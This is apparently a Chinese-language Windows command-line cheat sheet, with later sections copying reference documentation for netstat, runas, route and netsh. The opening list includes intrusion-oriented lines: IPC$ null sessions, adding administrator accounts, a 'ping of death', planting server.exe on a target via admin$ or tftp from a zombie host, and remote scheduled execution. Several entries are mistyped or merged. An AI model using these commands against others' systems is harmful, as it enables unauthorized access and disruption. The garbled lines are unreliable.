CMD 網絡命令

CMD 網絡命令
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use
\\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h:
\\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地爲 H:
net use h:
\\ip\c$ 登陸後映射對方C:到本地爲H:
net use
\\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的爲H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把“用戶”添加到管理員中使其
具有管理員權限,注意:administrator後加s用複數
net start 查看開啓了哪些服務
net start 服務名  開啓服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與“目標IP”主機的時間同步,加
上參數/yes可取消確認信息
net view 查看本地局域網內開啓了哪些共享
net view
\\ip 查看對方局域網內開啓了哪些共享
net config 顯示系統網絡設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 局域網內正在使用的網絡連接類型和信息
net share 查看本地開啓的共享
net share ipc$ 開啓ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改爲12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啓了哪些端口,常用netstat -an
netstat -n 查看端口的網絡連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip
協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的
用戶名(03前的爲用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:“-w數字”用於設
置超時間隔。
ping ip(或域名) 向對方主機發送默認大小爲32字節的數據,參數:“-l[空格]
數據包大小”;“-n發送數據次數”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之
ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,
ipconfig可用參數“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進程(爲系統的附加工具,默認是沒有安裝的,在安裝
目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(爲系統的附加工具,默認是沒有安
裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除
只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏
、系統、存檔以外的文件。例如“DEL/AR *.*”表示刪除當前目錄下所有隻讀文
件,“DEL/A-S *.*”表示刪除當前目錄下除系統文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和
文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作
用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件
,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件
中,"> "和"> >" 是重定向命令
at id號 開啓已註冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計劃任務
at 查看所有的計劃任務
at
\\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啓動計算

finger user>telnet ip 端口 遠和登陸服務器,默認端口爲23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄爲文件2,用參數
/y就同時取消確認你要改寫一份現存目錄文件
copy c:\srv.exe
\\ip\admin$ 複製本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成
3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指
ASCLL格式文件
copy
\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享
下的srv.exe文件(所有文件)至本地C:
xcopy 要複製的文件或目錄樹 目標地址\目錄名 複製文件和目錄樹,用參數/Y
將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe
登陸後,將“IP”的server.exe下載到目標主機c:\server.exe 參數:-i指以二
進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模
式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 端口 用於上傳文件至服務器或進行文件操作,默認端口爲21。bin指用二
進制方式傳送(可執行文件進);默認爲ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網絡地址Network addres,子網掩碼
Netmask,網關地址Gateway addres,接口地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理
性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程
序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀
,系統,隱藏 屬性;用+則是添加爲某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時
間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和
時間,而不必輸入新日期和時間
set 指定環境變量名稱=要指派給變量的字符 設置環境變量
set 顯示當前所有的環境變量
set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變量)
goto 標籤 將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以
冒號打頭,例如:“:start”標籤)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見
call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠
、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、
D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改爲:EntSky\ )
print 文件名 打印文本文件
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名

format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例:format D:
/FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字符
doskey 要解鎖命令= 爲DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,
並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);
解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務
默認端口23爲其它任何端口
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 爲可執行文件設置一個路徑。
cmd 啓動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啓命令擴展;更我
詳細說明見cmd /?
regedit /s 註冊表文件名 導入註冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 註冊表文件名 導出註冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時
。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名erm 替換指定用戶的訪問
權限;/G 用戶名erm 賦予指定用戶訪問權限;Perm 可以是: N 無,R 讀取,
W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定
d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶權限列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網絡配置情況
IIS服務命令:
iisreset /reboot 重啓win2k計算機(但有提示系統將重啓信息出現)
iisreset /start或stop 啓動(停止)所有Internet服務
iisreset /restart 停止然後重新啓動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啓用(禁用)Internet服務的重新啓

iisreset /reboot 當啓動、停止或重新啓動Internet服務時,若發生錯
誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定
/reboot參數,則電腦將會重新開機。預設值爲重新啓動20秒,停止60秒
,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式爲:
ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端
主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至
本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.
如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(缺省值)
bin 或 p_w_picpath 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠程服務器的ftp會話(與open對應)
open host[port] 建立指定ftp服務器連接,可指定連接端口
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory->re>rmdir directory->status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user->open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件權限
case 當爲ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換爲小寫字母
cd remote-dir 進入遠程主機目錄
cdup 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶
root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 數據庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增
加新用戶。(注意:和上面不同,下面的因爲是MYSQL環境中的命令,所以後面都
帶一個分號作爲命令結束符)
show databases; 顯示數據庫列表。剛開始時才兩個數據庫:mysql和test。
mysql庫很重要它裏面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是
用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (字段設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示錶中的記錄
mysqldump --opt school>school.bbb 備份數據庫:(命令在DOS的
\\mysql\\bin
目錄下執行);註釋:將數據庫school備份到school.bbb文件,school.bbb是一個
文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啓本地或遠程主機。
參數說明:/S 關閉主機,/R 重啓主機, /T 數字 設定延時的時間,範圍0~180
秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啓本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要
終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啓動的子進
程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標
識符(PID)。
參數說明:/M 列出當前進程加載的dll文件,/SVC 顯示出每個進程對應的服務,
無參數時就只列出當前的進程。
17.Netstat
顯示活動的 TCP 連接、計算機偵聽的端口、以太網統計信息、IP 路由表、IPv4 統計信息(對於 IP、ICMP、TCP 和 UDP 協議)以及 IPv6 統
計信息(對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議)。使用時如果不帶參數,netstat 顯示活動的 TCP 連接。
語法
netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]
參數
-a 
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 端口。 
-e 
顯示以太網統計信息,如發送和接收的字節數、數據包數。該參數可以與 -s 結合使用。 
-n 
顯示活動的 TCP 連接,不過,只以數字形式表現地址和端口號,卻不嘗試確定名稱。 
-o 
顯示活動的 TCP 連接幷包括每個連接的進程 ID (PID)。可以在 Windows 任務管理器中的"進程"選項卡上找到基於 PID 的應用程序。該參數
可以與 -a、-n 和 -p 結合使用。 
-p Protocol 
顯示 Protocol 所指定的協議的連接。在這種情況下,Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果該參數與 -s 一起使用按協議顯示
統計信息,則 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。 
-s 
按協議顯示統計信息。默認情況下,顯示 TCP、UDP、ICMP 和 IP 協議的統計信息。如果安裝了 Windows XP 的 IPv6 協議,就會顯示有關 
IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 協議的統計信息。可以使用 -p 參數指定協議集。 
-r 
顯示 IP 路由表的內容。該參數與 route print 命令等價。 
Interval 
每隔 Interval 秒重新顯示一次選定的信息。按 CTRL+C 停止重新顯示統計信息。如果省略該參數,netstat 將只打印一次選定的信息。 
/? 
在命令提示符顯示幫助。 
註釋
與該命令一起使用的參數必須以連字符 (-) 而不是以短斜線 (/) 作爲前綴。 
Netstat 提供下列統計信息: 
Proto 
協議的名稱(TCP 或 UDP)。
Local Address 
本地計算機的 IP 地址和正在使用的端口號。如果不指定 -n 參數,就顯示與 IP 地址和端口的名稱對應的本地計算機名稱。如果端口尚未建
立,端口以星號(*)顯示。
Foreign Address 
連接該插槽的遠程計算機的 IP 地址和端口號碼。如果不指定 -n 參數,就顯示與 IP 地址和端口對應的名稱。如果端口尚未建立,端口以星
號(*)顯示。
(state) 
表明 TCP 連接的狀態。可能的狀態如下:
CLOSE_WAIT
CLOSED
ESTABLISHED
FIN_WAIT_1
FIN_WAIT_2
LAST_ACK
LISTEN
SYN_RECEIVED
SYN_SEND
TIMED_WAIT
有關 TCP 連接狀態的信息,請參閱 RFC 793。
只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝爲網絡適配器屬性的組件時,該命令纔可用。 
範例
要想顯示以太網統計信息和所有協議的統計信息,請鍵入下列命令:
netstat -e -s
要想僅顯示 TCP 和 UDP 協議的統計信息,請鍵入下列命令:
netstat -s -p tcp udp
要想每 5 秒鐘顯示一次活動的 TCP 連接和進程 ID,請鍵入下列命令:
nbtstat -o 5
要想以數字形式顯示活動的 TCP 連接和進程 ID,請鍵入下列命令:
nbtstat -n -o

18.Runas
允許用戶用其他權限運行指定的工具和程序,而不是用戶當前登錄提供的權限。
語法
runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program
參數
/profile 
加載用戶的配置文件。/profile 是默認值。 
/no profile 
/noprofile 指定不加載用戶的配置文件。這使應用程序載入的更加快速,但是在一些應用程序中也會引起錯誤。 
/env 
指定當前使用的網絡環境,而不是用戶的本地環境。 
/netonly 
指明指定的用戶信息只用於遠程訪問。 
/smartcard 
/smartcard 表示憑據是否是由智能卡提供的。 
/showtrustlevels 
列出 /trustlevel 開關項。 
/trustlevel 
指定應用程序運行所在的授權級別。使用 /showtrustlevels 查看可用的信任級別。 
/user:UserAccountName 
指定在其下運行程序的用戶帳戶的名稱。用戶帳戶的格式應是 user@domain 或 domain\user。 
程序 
指定要用在 /user 中指定的帳戶運行的程序或命令。 
/? 
在命令提示符顯示幫助。 
註釋
管理員可以使用一個權限受限制的帳戶執行日常、非管理性的任務,只有在執行特定管理任務時,才使用一個權限更大的帳戶。要不經過註銷
再重新登錄就完成這樣的任務,可以用一般帳戶登錄,然後使用 runas 命令來運行需要更大權限的工具。 
有關 runas 命令的使用範例,請參閱"相關主題"。 
儘管 runas 通常由 Administrator 帳戶使用,但並非僅限於 Administrator 帳戶。任何擁有多個帳戶的用戶均可以利用備用憑據,使用 
runas 運行程序、MMC 控制檯或"控制面板"項。 
如果要在計算機上使用 Administrator 帳戶,對於 /user:,鍵入下列參數之一:
/user:AdministratorAccountName@ComputerName
/user:ComputerName\AdministratorAccountName
如果想以域管理員身份使用這個命令,鍵入下列參數之一:
/user:AdministratorAccountName@DomainName
/user:DomainName\AdministratorAccountName
runas 命令允許您運行程序 (*.exe)、保存的 MMC 控制檯 (*.msc)、程序和保存的 MMC 控制檯的快捷方式及"控制面板"項。作爲另一組(例
如"Users"或"Power Users"組)的成員登錄到計算機時,可以以管理員的身份運行。 
可以使用 runas 命令來啓動任何程序、MMC 控制器或"控制面板"項。只要提供適當的用戶帳戶和密碼信息,用戶帳戶就具有登錄到計算機的能
力,並且程序、MMC 控制檯、"控制面板"項在系統中及對該用戶帳戶均可用. 
runas 命令允許您管理其他域的服務器(運行工具的計算機和要管理的服務器在不同的域中)。 
如果嘗試使用 runas 從網絡位置啓動程序、MMC 控制檯或"控制面板"項,可能會因爲用來連接網絡共享的憑據與用來啓動程序的憑據不同而失
敗。後者的憑據可能無法訪問同一網絡共享。 
有些項,例如"打印機"文件夾和桌面項,間接由 Windows 2000 打開,而不能使用 runas 命令啓動。 
如果 runas 命令失敗,則可能是沒有運行 RunAs 服務或使用的用戶帳戶無效。要檢查 RunAs 服務的狀態,請在"計算機管理"中單擊"服務和
應用程序",然後單擊"服務"。要測試用戶帳戶,請嘗試使用該帳戶登錄合適的域。 
範例
要在本地計算機上以管理員身份啓動 Windows 2000 命令提示行實例,請鍵入:
runas /user:localmachinename\administrator cmd 
系統提示時,鍵入管理員密碼。
要使用名爲 companydomain\domainadmin 的域管理員帳戶啓動"計算機管理"管理單元實例,請鍵入: runas 
/user:companydomain\domainadmin "mmc %windir%\system32\compmgmt.msc" 
當提示時,鍵入帳戶密碼。
要使用名爲 domain.microsoft.com 的域中的域管理員帳戶 user 啓動"記事本"實例,請鍵入:
runas /user:[email protected] "notepad my_file.txt" 
當提示時,鍵入帳戶密碼。
要啓動命令提示符行窗口、保存的 MMC 控制檯、控制面板項或管理其他地點服務器的程序的一個實例,請鍵入:
runas /netonly /user:domain\username "command" 
domain\username 必須是有足夠權限管理服務器的用戶。當提示時,鍵入帳戶密碼。

19.Route
在本地 IP 路由表中顯示和修改條目。使用不帶參數的 route 可以顯示幫助。
語法
route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]]
參數
-f 
清除所有不是主路由(網掩碼爲 255.255.255.255 的路由)、環回網絡路由(目標爲 127.0.0.0,網掩碼爲 255.255.255.0 的路由)或多播
路由(目標爲 224.0.0.0,網掩碼爲 240.0.0.0 的路由)的條目的路由表。如果它與命令之一(例如 add、change 或 delete)結合使用,表
會在運行命令之前清除。 
-p 
與 add 命令共同使用時,指定路由被添加到註冊表並在啓動 TCP/IP 協議的時候初始化 IP 路由表。默認情況下,啓動 TCP/IP 協議時不會保
存添加的路由。與 print 命令一起使用時,則顯示永久路由列表。所有其它的命令都忽略此參數。永久路由存儲在註冊表中的位置是 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。 
Command 
指定要運行的命令。下表列出了有效的命令。 命令 目的 
add 添加路由 
change 更改現存路由 
delete 刪除路由 
print 打印路由 
Destination 
指定路由的網絡目標地址。目標地址可以是一個 IP 網絡地址(其中網絡地址的主機地址位設置爲 0),對於主機路由是 IP 地址,對於默認
路由是 0.0.0.0。 
mask subnetmask 
指定與網絡目標地址相關聯的網掩碼(又稱之爲子網掩碼)。子網掩碼對於 IP 網絡地址可以是一適當的子網掩碼,對於主機路由是 
255.255.255.255 ,對於默認路由是 0.0.0.0。如果忽略,則使用子網掩碼 255.255.255.255。定義路由時由於目標地址和子網掩碼之間的關
系,目標地址不能比它對應的子網掩碼更爲詳細。換句話說,如果子網掩碼的一位是 0,則目標地址中的對應位就不能設置爲 1。 
Gateway 
指定超過由網絡目標和子網掩碼定義的可達到的地址集的前一個或下一個躍點 IP 地址。對於本地連接的子網路由,網關地址是分配給連接子
網接口的 IP 地址。對於要經過一個或多個路由器纔可用到的遠程路由,網關地址是一個分配給相鄰路由器的、可直接達到的 IP 地址。 
metric Metric 
爲路由指定所需躍點數的整數值(範圍是 1 ~ 9999),它用來在路由表裏的多個路由中選擇與轉發包中的目標地址最爲匹配的路由。所選的路
由具有最少的躍點數。躍點數能夠反映躍點的數量、路徑的速度、路徑可靠性、路徑吞吐量以及管理屬性。 
if Interface 
指定目標可以到達的接口的接口索引。使用 route print 命令可以顯示接口及其對應接口索引的列表。對於接口索引可以使用十進制或十六進
制的值。對於十六進制值,要在十六進制數的前面加上 0x。忽略 if 參數時,接口由網關地址確定。 
/? 
在命令提示符顯示幫助。 
註釋
路由表中 躍點數 一列的值較大是由於允許 TCP/IP 根據每個 LAN 接口的 IP 地址、子網掩碼和默認網關的配置自動確定路由表中路由的躍點
數造成的。默認啓動的自動確定接口躍點數確定了每個接口的速度,調整了每個接口的路由躍點數,因此最快接口所創建的路由具有最低的躍
點數。要刪除大躍點數,請在每個 LAN 連接的 TCP/IP 協議的高級屬性中禁用自動確定接口躍點數。 
如果在 systemroot\System32\Drivers\Etc 文件夾的本地網絡文件中存在適當的條目,名稱可以用於 Destination。只要名稱可以通過"域名
系統" (DNS) 查詢這樣的標準主機名解析技術分解爲 IP 地址,就可以將其用於 Gateway,DNS 查詢使用存儲在 systemroot\System32
\Drivers\Etc 文件夾下的本地主機文件和 NetBIOS 名稱解析。 
如果是 print 或 delete 命令,可以忽略 Gateway 參數,使用通配符來表示目標和網關。Destination 的值可以是由星號 (*) 指定的通配符
。如果指定目標含有一個星號 (*) 或問號 (?),它被看作是通配符,只打印或刪除匹配的目標路由。星號代表任意一字符序列,問號代表任一
字符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星號通配符的有效使用。 
使用了無效的目標和子網掩碼(網掩碼)值的組合,會顯示"Route:bad gateway address netmask"錯誤消息。目標中有一位或多位設置爲 1,
而其在子網掩碼中的對應位設置爲 0 時會發生這個錯誤。可以通過二進制表示法表示目標和子網掩碼來檢查這種情況。以二進制表示的子網掩
碼包括表示目標網絡地址部分的一連串的 1 和表示目標主機地址部分的一連串的 0 兩個部分。查看目標以確定目標的主機地址部分(由子網
掩碼所定義)是否有些位設置成了 1。 
只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 參數。Windows 95 或 Windows 
98 的 route 命令不支持該參數。 
只有當網際協議 (TCP/IP) 協議在 網絡連接中安裝爲網絡適配器屬性的組件時,該命令纔可用。 
範例
要顯示 IP 路由表的完整內容,請鍵入:
route print
要顯示 IP 路由表中以 10. 開始的路由,請鍵入:
route print 10.*
要添加默認網關地址爲 192.168.12.1 的默認路由,請鍵入:
route add 0.0.0.0 mask 0.0.0.0 192.168.12.1
要添加目標爲 10.41.0.0,子網掩碼爲 255.255.0.0,下一個躍點地址爲 10.27.0.1 的路由,請鍵入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1
要添加目標爲 10.41.0.0,子網掩碼爲 255.255.0.0,下一個躍點地址爲 10.27.0.1 的永久路由,請鍵入:
route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1
要添加目標爲 10.41.0.0,子網掩碼爲 255.255.0.0,下一個躍點地址爲 10.27.0.1,躍點數爲 7 的路由,請鍵入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7
要添加目標爲 10.41.0.0,子網掩碼爲 255.255.0.0,下一個躍點地址爲 10.27.0.1,接口索引爲 0x3 的路由,請鍵入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3
要刪除目標爲 10.41.0.0,子網掩碼爲 255.255.0.0 的路由,請鍵入:
route delete 10.41.0.0 mask 255.255.0.0
要刪除 IP 路由表中以 10. 開始的所有路由,請鍵入:
route delete 10.*
要將目標爲 10.41.0.0,子網掩碼爲 255.255.0.0 的路由的下一個躍點地址由 10.27.0.1 更改爲 10.27.0.25,請鍵入:
route change 10.41.0.0 mask 255.255.0.0 10.27.0.25
曾幾何時,大家都有想過在命令行下改IP和網關。以前在NT4下實現起來過於麻煩,現在Windows 2000下的Netsh命令能實現該功能了。
Netsh 是本地或遠程計算機的 Windows 2000 網絡組件的命令行和腳本實用程序。爲了存檔或配置其他服務器,Netsh 實用程序也可以將配置
腳本保存在文本文件中。
Netsh 實用程序是一個外殼,它通過附加的"Netsh 幫助 DLL",可以支持多個 Windows 2000 組件。"Netsh 幫助 DLL"提供用來監視或配置特
定 Windows 2000 網絡組件的其他命令,從而擴展了 Netsh 的功能。每個"Netsh 幫助 DLL"都爲特定的網絡組件提供了一個環境和一組命令。
每個環境中都可以有子環境。例如,在路由環境中存在子環境 Ip 和 Ipx,它們將 IP 路由和 IPX 路由命令集中在一起。
Netsh 命令行選項包括下列各項:
用法: netsh [-a AliasFile] [-c Context] [-r RemoteMachine]
[Command | -f ScriptFile]
下列指令有效:
此上下文中的命令:
? - 顯示命令列表。
aaaa - 更改到 `aaaa' 上下文。
add - 將一個配置項添加到項目列表中。
delete - 在項目列表上刪除一個配置項目。
dhcp - 更改到 `dhcp' 上下文。
dump 0 - 顯示一個配置腳本。
exec - 運行一個腳本文件。
help - 顯示命令列表。
interface - 更改到 `interface' 上下文。
ras - 更改到 `ras' 上下文。
routing - 更改到 `routing' 上下文。
set - 更新配置設置。
show - 顯示信息
wins - 更改到 `wins' 上下文。
下列的子上下文可用:
routing interface ras dhcp wins aaaa
若需要命令的更多幫助信息,請鍵入命令,
後面跟 ?。
-a AliasFile 
指定使用了一個別名文件。別名文件包含 netsh 命令列表和一個別名版本,所以可以使用別名命令行替換 netsh 命令。可以使用別名文件將
其他平臺中更熟悉的命令映射到適當的 netsh 命令。
-c Context 
指定對應於已安裝的支持 DLL 的命令環境。
命令 
指定要執行的 netsh 命令。
-f ScriptFile 
指定運行 ScriptFile 文件中所有的 netsh 命令。
-r RemoteMachine 
指定在遠程計算機上運行 netsh 命令,由名稱或 IP 地址來指定遠程計算機。
您可以將命令縮寫爲意義明確的最短的字符串。例如,發佈 sh ip int 命令相當於發佈 show ip interface。Netsh 命令可以是全局的或特定
環境的。全局命令可以在任何環境中發佈,並用於一般的 Netsh 實用程序功能。特定環境的命令隨環境而變化。您可以將發佈的命令記錄在日
志文件中,以創建 netsh 命令會話的審覈蹤跡。
列出了 netsh 全局命令。
命令 說明 
.. 上移一個環境等級。 
? 或 help 顯示命令行"幫助"。 
show version 顯示 Windows 和 Netsh 實用程序的當前版本。 
show netdlls 顯示已安裝的"Netsh 幫助 DLL"的當前版本。 
add helper 添加"Netsh 幫助 DLL"。 
delete helper 刪除"Netsh 幫助 DLL"。 
show helper 顯示已安裝的"Netsh 幫助 DLL"。 
cmd 創建 Windows 2000 命令窗口。 
online 將當前模式設置爲聯機。 
offline 將當前模式設置爲脫機。 
set mode 將當前模式設置爲聯機或脫機。 
show mode 顯示當前模式。 
flush 丟棄以脫機模式進行的任何更改。 
commit 提交以脫機模式進行的更改。 
set audit-logging 打開或關閉記錄工具。 
show audit-logging 顯示當前的審覈記錄設置。 
set loglevel 設置記錄信息的級別 
show loglevel 顯示記錄信息的級別。 
set machine 配置執行 netsh 命令的計算機。 
show machine 顯示執行 netsh 命令的計算機。 
exec 執行包括 netsh 命令的腳本文件。 
quit 或 bye 或 exit 退出 Netsh 實用程序。 
add alias 向現有命令添加別名。 
delete alias 刪除現有命令的別名。 
show alias 顯示所有已定義的別名。 
dump 將配置寫入文本文件。 
popd 從堆棧中彈出環境的腳本命令。 
pushd 將當前的環境推入堆棧的腳本命令。 
Netsh 實用程序有如下命令模式:
聯機 
聯機模式下,在 Netsh 命令提示符下發布的命令被立即執行。
脫機 
脫機模式下,將在 Netsh 命令提示符下積累發佈的命令,並通過發佈 commit 全局命令來按照批處理方式執行。可以通過發佈 flush 全局命令
來丟棄積累的命令。
腳本 
使用 -f 命令行選項,或在 Netsh 命令提示符下發布 exec 全局命令,可以執行指定文件中所有的 netsh 命令。
要創建當前配置的腳本,請使用 dump 全局命令。dump 命令根據 netsh 命令輸出當前運行的配置。可以使用該命令創建的腳本來配置新的服
